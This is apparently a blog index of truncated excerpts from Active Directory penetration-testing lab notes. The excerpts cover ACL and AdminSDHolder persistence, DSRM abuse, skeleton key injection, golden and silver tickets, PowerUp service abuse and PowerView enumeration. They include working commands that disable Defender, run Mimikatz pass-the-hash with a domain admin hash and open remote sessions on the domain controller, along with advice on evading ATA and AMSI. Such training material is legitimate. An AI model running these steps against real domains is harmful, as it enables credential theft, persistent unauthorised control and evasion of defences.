Avi's blog

  In this lession we will be continuing our discussion on persistence as we have domain admin privilege. Lets discuss about persistence with acl’s specifically host based security descriptors. Once we have local administrator access on a box it is possible to modify security descriptors. For example, groups, sacl, dacl etc. of multiple remote access securable objects like wmi, powershell remoting, remote registry etc. so that the non-admin user can access it. By default only administrators are allowed to use remote administration tool to login remote machine and execute commands etc. But by modifying security descriptors of these protocols, we can make our controlled user to give that same power. Then that user will be allowed to access remote box and execute commands. We need administrative privileges to the target machine to do this. This will be more clear soon. Persistence time is very long. There are very less organization who monitor acl and acl audit logs. ACL's can be mod

  Persistence using ACL's - AdminSDHolder Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs. Disable defender: Set-MpPreference -DisableRealtimeMonitoring $true . C:\AD\Tools\Invoke-Mimikatz.ps1 Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"' Now another powershell session will open with domain admin privs.  On that session type below: $sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local Enter-PSSession -Session $sess Bypass amsi and disable defender there i mean in dc machine. Then exit. Invoke-Command -FilePath C:\AD\Tools\Invoke-PowerView.ps1 -Session $sess Enter-PSSession -Session $sess  (PowerView will be loaded on the memory of dc now) Now you are in domain controller machine with the privs of domain admin. Now add full control permission for a user to the AdminSDHolder using powerv

  When dc needs to be rebooted in safe mode, then it requires dsrm password.  How we can abuse this? If we have domain admin privilege then we can change the logon behavior of this particular user (not rid 500) and then remotely logon to the dc as as administrator. By default the dsrm administrator is not allowed to logon over the network onto the dc. Sometimes system administrators set the same password for both the account. In that case you just need to enable remote login for the dsrm administrator account. So what is the persistent time? Its very very long even more than the golden ticket. Because it is created when domain controller is promoted and not change frequently. Unless this password is change, you have persistent access on the dc. Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs. Disable defender: Set-MpPreference -DisableRealtimeMonitoring $true . C:\AD\Tools\Invoke-Mimikatz.ps1 Invoke-Mimikatz -Command '&qu

  With domain admin privs we can patch the lsass process of the dc and that allows us to subvert the authentication mechanism that is once we injected our skeleton key inside the lsass, both the regular username and passwords and regular username and our own skeleton key as password would work just fine. So we will be injecting skeleton key to the lsass so that we can access any resource with any valid username and skeleton key as the password. The persistence duration is until reboot or the lsass process reboots.   Please keep in mind once the skeleton attack is executed you cannot re-execute the attack unless the dc is been rebooted. If you found an error then assume that there is another attacker present on the environment who has already done this.  Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs. Disable defender: Set-MpPreference -DisableRealtimeMonitoring $true . C:\AD\Tools\Invoke-Mimikatz.ps1 Invoke-Mimikatz -Comman

  For golden ticket the trust is the hash of krbtgt account hash. If dc successfully decrypts the TGT using krbtgt account hash, then it assumes that its a valid TGT.  For silver ticket the trust is the service account or computer account ntlm/rc4 password hash. If application or service successfully decrypts that then it assumes that its a valid TGS.  In dc, most of the services are running under the context of computer account as service account. i.e. cifs runs with the help of computer account etc. So we will target computer account. Keep in mind that computer account password are changed by default in 30 days by the system. So for maintaining persistence either you can download grade the security so that system not to change computer account password in 30 days or after a period of 30 days you need to collect the new computer account ntlm or rc4 hash again.  Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs.  Disable defende

In our last lecture we achieved domain admin privilege. Now we will see some persistence mechanism that we can do when we have domain admin privilege.  Lets see how kerberos works: Client sends his/her’s timestamp to the kdc-key distribution center or dc. The timestamp is signed and encrypted with the ntlm hash of the user password. This is to prove that the user who is sending the request is actual user. This is called AS-REQ . The DC receive this request and decrypt the hash. How can dc decrypt that? Because dc has the ntlm password hash of all user. Now dc will generate a TGT and send it to the user. This TGT is signed by DC’s special account hash which is called krbtgt. No system can decrypt this hash except the DC. Then it sends this to the user. This is called AS-REP . Now client receive the TGT but it cannot decrypt it because it does not have the krbtgt ntlm password hash or krbtgt rc4 password hash, which only dc has. So client sends this TGT back to dc along with specifyin

  Our target is first escalate our local privs to local admin level. Then we will hunt for to check we have the local admin privs to which other machines. Then we will check on those machines, any domain admin sessions are available or not.  Unquoted service path check: Get-WmiObject -class win32_service | Select-Object pathname From powerup: Get-ServiceUnquoted -Verbose Get services where the current user can write to its binary path or change arguments to the binary: Get-ModifiableServiceFile -Verbose Get the services whose configuration current user can modify, if you are in server operator group then you can do this: Get-ModifiableService -Verbose Or we can run all the above checks from using powerup.ps1 script: . .\PowerUp.ps1 Invoke-AllChecks help Invoke-ServiceAbuse -Examples Invoke-ServiceAbuse -Name AbyssWebServer -UserName dcorp\student15     (Here AbyssWebServer is the abuseable service name that you come to know after running Invoke-AllChecks command) When you run the abov

Enumeration about domain Using dot sourcing to load powerview in the powershell session. . .\PowerView.ps1 If powerview is detected by defender: Set-MpPreference -DisableRealtimeMonitoring $true Get info of current domain: Get-NetDomain Get info of other domain: Get-NetDomain -Domain moneycorp.local To know domain sid: Get-DomainSID Get domain policy for the current domain: Get-DomainPolicy (Get-DomainPolicy)."system access" (Get-DomainPolicy)."kerberos policy"   (kerberos policy enumeration is required when we forge golden or silver tickets otherwise ATA will catch us) Get domain controller for the current domain: Get-NetDomainController Get domain controller for other domain: Get-NetDomainController -Domain moneycorp.local Get list of users in the current domain: Get-NetUser | select cn or select -ExpandProperty cn Get-NetUser -Username student1 Get list of users in other domain if domain trust is established: Get-NetUser -Domain eurocorp.local Get list of all pro